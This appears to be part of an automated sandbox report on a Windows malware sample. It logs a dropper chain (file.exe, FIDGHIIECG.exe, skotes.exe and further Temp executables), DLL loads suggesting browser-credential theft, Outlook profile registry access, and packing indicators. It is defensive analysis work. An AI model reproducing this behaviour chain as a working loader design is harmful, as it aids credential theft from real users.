Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2492 --field-trial-handle=2196,i,4868894601841744955,10257987303288311924,262144 /prefetch:8	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2408 --field-trial-handle=2248,i,9099896745264163238,9476134514677469961,262144 /prefetch:3	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Users\user\AppData\Local\Temp\1013061001\7215223519.exe "C:\Users\user~1\AppData\Local\Temp\1013061001\7215223519.exe"	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2140 --field-trial-handle=2004,i,15111161645592940276,13810185552624013604,262144 /prefetch:3	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\user\Documents\FIDGHIIECG.exe "C:\Users\user\Documents\FIDGHIIECG.exe"	Jump to behavior
Source: C:\Users\user\Documents\FIDGHIIECG.exe	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe "C:\Users\user~1\AppData\Local\Temp\abc3bc1985\skotes.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1013060001\16b11e2c5c.exe "C:\Users\user~1\AppData\Local\Temp\1013060001\16b11e2c5c.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1013061001\7215223519.exe "C:\Users\user~1\AppData\Local\Temp\1013061001\7215223519.exe"	Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: rstrtmgr.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mozglue.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wsock32.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: vcruntime140.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: msvcp140.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: pcacli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Documents\FIDGHIIECG.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Documents\FIDGHIIECG.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\Documents\FIDGHIIECG.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\Documents\FIDGHIIECG.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Documents\FIDGHIIECG.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Documents\FIDGHIIECG.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Documents\FIDGHIIECG.exe	Section loaded: mstask.dll	Jump to behavior
Source: C:\Users\user\Documents\FIDGHIIECG.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Documents\FIDGHIIECG.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Documents\FIDGHIIECG.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\user\Documents\FIDGHIIECG.exe	Section loaded: dui70.dll	Jump to behavior
Source: C:\Users\user\Documents\FIDGHIIECG.exe	Section loaded: duser.dll	Jump to behavior
Source: C:\Users\user\Documents\FIDGHIIECG.exe	Section loaded: chartv.dll	Jump to behavior
Source: C:\Users\user\Documents\FIDGHIIECG.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Documents\FIDGHIIECG.exe	Section loaded: oleacc.dll	Jump to behavior
Source: C:\Users\user\Documents\FIDGHIIECG.exe	Section loaded: atlthunk.dll	Jump to behavior
Source: C:\Users\user\Documents\FIDGHIIECG.exe	Section loaded: textinputframework.dll	Jump to behavior
Source: C:\Users\user\Documents\FIDGHIIECG.exe	Section loaded: coreuicomponents.dll	Jump to behavior
Source: C:\Users\user\Documents\FIDGHIIECG.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\Documents\FIDGHIIECG.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\Documents\FIDGHIIECG.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Documents\FIDGHIIECG.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Documents\FIDGHIIECG.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Documents\FIDGHIIECG.exe	Section loaded: wtsapi32.dll	Jump to behavior
Source: C:\Users\user\Documents\FIDGHIIECG.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Users\user\Documents\FIDGHIIECG.exe	Section loaded: textshaping.dll	Jump to behavior
Source: C:\Users\user\Documents\FIDGHIIECG.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\Documents\FIDGHIIECG.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\Documents\FIDGHIIECG.exe	Section loaded: windows.fileexplorer.common.dll	Jump to behavior
Source: C:\Users\user\Documents\FIDGHIIECG.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Documents\FIDGHIIECG.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Documents\FIDGHIIECG.exe	Section loaded: explorerframe.dll	Jump to behavior
Source: C:\Users\user\Documents\FIDGHIIECG.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\Documents\FIDGHIIECG.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Documents\FIDGHIIECG.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Documents\FIDGHIIECG.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Documents\FIDGHIIECG.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\Documents\FIDGHIIECG.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\Documents\FIDGHIIECG.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\Documents\FIDGHIIECG.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Documents\FIDGHIIECG.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\Documents\FIDGHIIECG.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013060001\16b11e2c5c.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\1013060001\16b11e2c5c.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\1013060001\16b11e2c5c.exe	Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Local\Temp\1013060001\16b11e2c5c.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1013060001\16b11e2c5c.exe	Section loaded: webio.dll
Source: C:\Users\user\AppData\Local\Temp\1013060001\16b11e2c5c.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1013060001\16b11e2c5c.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1013060001\16b11e2c5c.exe	Section loaded: winnsi.dll
Source: C:\Users\user\AppData\Local\Temp\1013060001\16b11e2c5c.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\1013060001\16b11e2c5c.exe	Section loaded: dnsapi.dll
Source: C:\Users\user\AppData\Local\Temp\1013060001\16b11e2c5c.exe	Section loaded: rasadhlp.dll
Source: C:\Users\user\AppData\Local\Temp\1013060001\16b11e2c5c.exe	Section loaded: fwpuclnt.dll
Source: C:\Users\user\AppData\Local\Temp\1013060001\16b11e2c5c.exe	Section loaded: schannel.dll
Source: C:\Users\user\AppData\Local\Temp\1013060001\16b11e2c5c.exe	Section loaded: mskeyprotect.dll
Source: C:\Users\user\AppData\Local\Temp\1013060001\16b11e2c5c.exe	Section loaded: ntasn1.dll
Source: C:\Users\user\AppData\Local\Temp\1013060001\16b11e2c5c.exe	Section loaded: ncrypt.dll
Source: C:\Users\user\AppData\Local\Temp\1013060001\16b11e2c5c.exe	Section loaded: ncryptsslp.dll
Source: C:\Users\user\AppData\Local\Temp\1013060001\16b11e2c5c.exe	Section loaded: msasn1.dll
Source: C:\Users\user\AppData\Local\Temp\1013060001\16b11e2c5c.exe	Section loaded: cryptsp.dll
Source: C:\Users\user\AppData\Local\Temp\1013060001\16b11e2c5c.exe	Section loaded: rsaenh.dll
Source: C:\Users\user\AppData\Local\Temp\1013060001\16b11e2c5c.exe	Section loaded: cryptbase.dll
Source: C:\Users\user\AppData\Local\Temp\1013060001\16b11e2c5c.exe	Section loaded: gpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1013060001\16b11e2c5c.exe	Section loaded: dpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1013060001\16b11e2c5c.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1013060001\16b11e2c5c.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\Temp\1013060001\16b11e2c5c.exe	Section loaded: wbemcomn.dll
Source: C:\Users\user\AppData\Local\Temp\1013060001\16b11e2c5c.exe	Section loaded: amsi.dll
Source: C:\Users\user\AppData\Local\Temp\1013060001\16b11e2c5c.exe	Section loaded: userenv.dll
Source: C:\Users\user\AppData\Local\Temp\1013060001\16b11e2c5c.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\1013060001\16b11e2c5c.exe	Section loaded: version.dll
Source: C:\Users\user\AppData\Local\Temp\1013060001\16b11e2c5c.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1013060001\16b11e2c5c.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1013060001\16b11e2c5c.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1013061001\7215223519.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\1013061001\7215223519.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\1013061001\7215223519.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\1013060001\16b11e2c5c.exe	Section loaded: winmm.dll

Source: C:\Users\user\Desktop\file.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{0358b920-0ac7-461f-98f4-58e32cd89148}\InProcServer32

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\13.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000001

Jump to behavior

Source: file.exe

Static file information: File size 1798656 > 1048576

Source: file.exe

Static PE information: Raw size of fwbluwmq is bigger than: 0x100000 < 0x19ce00

Source:	Binary string: mozglue.pdbP source: file.exe, 00000000.00000002.1878703435.000000007012D000.00000002.00000001.01000000.0000000A.sdmp, mozglue[1].dll.0.dr, mozglue.dll.0.dr
Source:	Binary string: freebl3.pdb source: freebl3[1].dll.0.dr, freebl3.dll.0.dr
Source:	Binary string: freebl3.pdbp source: freebl3[1].dll.0.dr, freebl3.dll.0.dr
Source:	Binary string: nss3.pdb@ source: file.exe, 00000000.00000002.1878517517.000000006CF8F000.00000002.00000001.01000000.00000009.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr
Source:	Binary string: softokn3.pdb@ source: softokn3[1].dll.0.dr, softokn3.dll.0.dr
Source:	Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\vcruntime140.i386.pdb source: vcruntime140.dll.0.dr, vcruntime140[1].dll.0.dr
Source:	Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\msvcp140.i386.pdb source: msvcp140[1].dll.0.dr, msvcp140.dll.0.dr
Source:	Binary string: nss3.pdb source: file.exe, 00000000.00000002.1878517517.000000006CF8F000.00000002.00000001.01000000.00000009.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr
Source:	Binary string: mozglue.pdb source: file.exe, 00000000.00000002.1878703435.000000007012D000.00000002.00000001.01000000.0000000A.sdmp, mozglue[1].dll.0.dr, mozglue.dll.0.dr
Source:	Binary string: softokn3.pdb source: softokn3[1].dll.0.dr, softokn3.dll.0.dr

Data Obfuscation

Detected unpacking (changes PE section rights)

Source: C:\Users\user\Desktop\file.exe	Unpacked PE file: 0.2.file.exe.9b0000.0.unpack :EW;.rsrc:W;.idata :W; :EW;fwbluwmq:EW;dvjbilhj:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;fwbluwmq:EW;dvjbilhj:EW;.taggant:EW;
Source: C:\Users\user\Documents\FIDGHIIECG.exe	Unpacked PE file: 19.2.FIDGHIIECG.exe.660000.0.unpack :EW;.rsrc:W;.idata :W;iznludpw:EW;zwkotnfl:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W;iznludpw:EW;zwkotnfl:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Unpacked PE file: 20.2.skotes.exe.710000.0.unpack :EW;.rsrc:W;.idata :W;iznludpw:EW;zwkotnfl:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W;iznludpw:EW;zwkotnfl:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Unpacked PE file: 21.2.skotes.exe.710000.0.unpack :EW;.rsrc:W;.idata :W;iznludpw:EW;zwkotnfl:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W;iznludpw:EW;zwkotnfl:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Unpacked PE file: 24.2.skotes.exe.710000.0.unpack :EW;.rsrc:W;.idata :W;iznludpw:EW;zwkotnfl:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W;iznludpw:EW;zwkotnfl:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\1013060001\16b11e2c5c.exe	Unpacked PE file: 26.2.16b11e2c5c.exe.440000.0.unpack :EW;.rsrc:W;.idata :W; :EW;phqbfzqh:EW;iuiexkhc:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;phqbfzqh:EW;iuiexkhc:EW;.taggant:EW;

Source: initial sample

Static PE information: section where entry point is pointing to: .taggant

Source: skotes.exe.19.dr	Static PE information: real checksum: 0x3136f0 should be: 0x310780
Source: random[1].exe.24.dr	Static PE information: real checksum: 0x1bb62b should be: 0x1ba70b
Source: 16b11e2c5c.exe.24.dr	Static PE information: real checksum: 0x1d579d should be: 0x1d1840
Source: file.exe	Static PE information: real checksum: 0x1bb62b should be: 0x1ba70b
Source: random[1].exe.0.dr	Static PE information: real checksum: 0x3136f0 should be: 0x310780
Source: FIDGHIIECG.exe.0.dr	Static PE information: real checksum: 0x3136f0 should be: 0x310780
Source: 7215223519.exe.24.dr	Static PE information: real checksum: 0x1bb62b should be: 0x1ba70b
Source: random[1].exe0.24.dr	Static PE information: real checksum: 0x1d579d should be: 0x1d1840

Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: .idata
Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: fwbluwmq
Source: file.exe	Static PE information: section name: dvjbilhj
Source: file.exe	Static PE information: section name: .taggant
Source: freebl3.dll.0.dr	Static PE information: section name: .00cfg
Source: freebl3[1].dll.0.dr	Static PE information: section name: .00cfg
Source: mozglue.dll.0.dr	Static PE information: section name: .00cfg
Source: mozglue[1].dll.0.dr	Static PE information: section name: .00cfg
Source: msvcp140.dll.0.dr	Static PE information: section name: .didat
Source: msvcp140[1].dll.0.dr	Static PE information: section name: .didat
Source: nss3.dll.0.dr	Static PE information: section name: .00cfg
Source: nss3[1].dll.0.dr	Static PE information: section name: .00cfg
Source: softokn3.dll.0.dr	Static PE information: section name: .00cfg
Source: softokn3[1].dll.0.dr	Static PE information: section name: .00cfg
Source: random[1].exe.0.dr	Static PE information: section name:
Source: random[1].exe.0.dr	Static PE information: section name: .idata
Source: random[1].exe.0.dr	Static PE information: section name: iznludpw
Source: random[1].exe.0.dr	Static PE information: section name: zwkotnfl
Source: random[1].exe.0.dr	Static PE information: section name: .taggant
Source: FIDGHIIECG.exe.0.dr	Static PE information: section name:
Source: FIDGHIIECG.exe.0.dr	Static PE information: section name: .idata
Source: FIDGHIIECG.exe.0.dr	Static PE information: section name: iznludpw
Source: FIDGHIIECG.exe.0.dr	Static PE information: section name: zwkotnfl
Source: FIDGHIIECG.exe.0.dr	Static PE information: section name: .taggant
Source: skotes.exe.19.dr	Static PE information: section name:
Source: skotes.exe.19.dr	Static PE information: section name: .idata
Source: skotes.exe.19.dr	Static PE information: section name: iznludpw
Source: skotes.exe.19.dr	Static PE information: section name: zwkotnfl
Source: skotes.exe.19.dr	Static PE information: section name: .taggant
Source: random[1].exe.24.dr	Static PE information: section name:
Source: random[1].exe.24.dr	Static PE information: section name: .idata
Source: random[1].exe.24.dr	Static PE information: section name:
Source: random[1].exe.24.dr	Static PE information: section name: fwbluwmq
Source: random[1].exe.24.dr	Static PE information: section name: dvjbilhj
Source: random[1].exe.24.dr	Static PE information: section name: .taggant
Source: 7215223519.exe.24.dr	Static PE information: section name:
Source: 7215223519.exe.24.dr	Static PE information: section name: .idata
Source: 7215223519.exe.24.dr	Static PE information: section name:
Source: 7215223519.exe.24.dr	Static PE information: section name: fwbluwmq
Source: 7215223519.exe.24.dr	Static PE information: section name: dvjbilhj
Source: 7215223519.exe.24.dr	Static PE information: section name: .taggant
Source: random[1].exe0.24.dr	Static PE information: section name:
Source: random[1].exe0.24.dr	Static PE information: section name: .idata
Source: random[1].exe0.24.dr	Static PE information: section name:
Source: random[1].exe0.24.dr	Static PE information: section name: phqbfzqh
Source: random[1].exe0.24.dr	Static PE information: section name: iuiexkhc
Source: random[1].exe0.24.dr	Static PE information: section name: .taggant
Source: 16b11e2c5c.exe.24.dr	Static PE information: section name:
Source: 16b11e2c5c.exe.24.dr	Static PE information: section name: .idata
Source: 16b11e2c5c.exe.24.dr	Static PE information: section name:
Source: 16b11e2c5c.exe.24.dr	Static PE information: section name: phqbfzqh
Source: 16b11e2c5c.exe.24.dr	Static PE information: section name: iuiexkhc
Source: 16b11e2c5c.exe.24.dr	Static PE information: section name: .taggant

Source: C:\Users\user\Documents\FIDGHIIECG.exe	Code function: 19_2_0067D91C push ecx; ret	19_2_0067D92F
Source: C:\Users\user\Documents\FIDGHIIECG.exe	Code function: 19_2_00671359 push es; ret	19_2_0067135A
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 20_2_0072D91C push ecx; ret	20_2_0072D92F
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 21_2_0072D91C push ecx; ret	21_2_0072D92F
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 24_2_0072D91C push ecx; ret	24_2_0072D92F
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 24_2_0072DFC6 push ecx; ret	24_2_0072DFD9

Source: file.exe	Static PE information: section name: fwbluwmq entropy: 7.954227143931772
Source: random[1].exe.0.dr	Static PE information: section name: entropy: 7.14290624564176
Source: FIDGHIIECG.exe.0.dr	Static PE information: section name: entropy: 7.14290624564176
Source: skotes.exe.19.dr	Static PE information: section name: entropy: 7.14290624564176
Source: random[1].exe.24.dr	Static PE information: section name: fwbluwmq entropy: 7.954227143931772
Source: 7215223519.exe.24.dr	Static PE information: section name: fwbluwmq entropy: 7.954227143931772
Source: random[1].exe0.24.dr	Static PE information: section name: entropy: 7.968506185937712
Source: random[1].exe0.24.dr	Static PE information: section name: phqbfzqh entropy: 7.952231766690737
Source: 16b11e2c5c.exe.24.dr	Static PE information: section name: entropy: 7.968506185937712
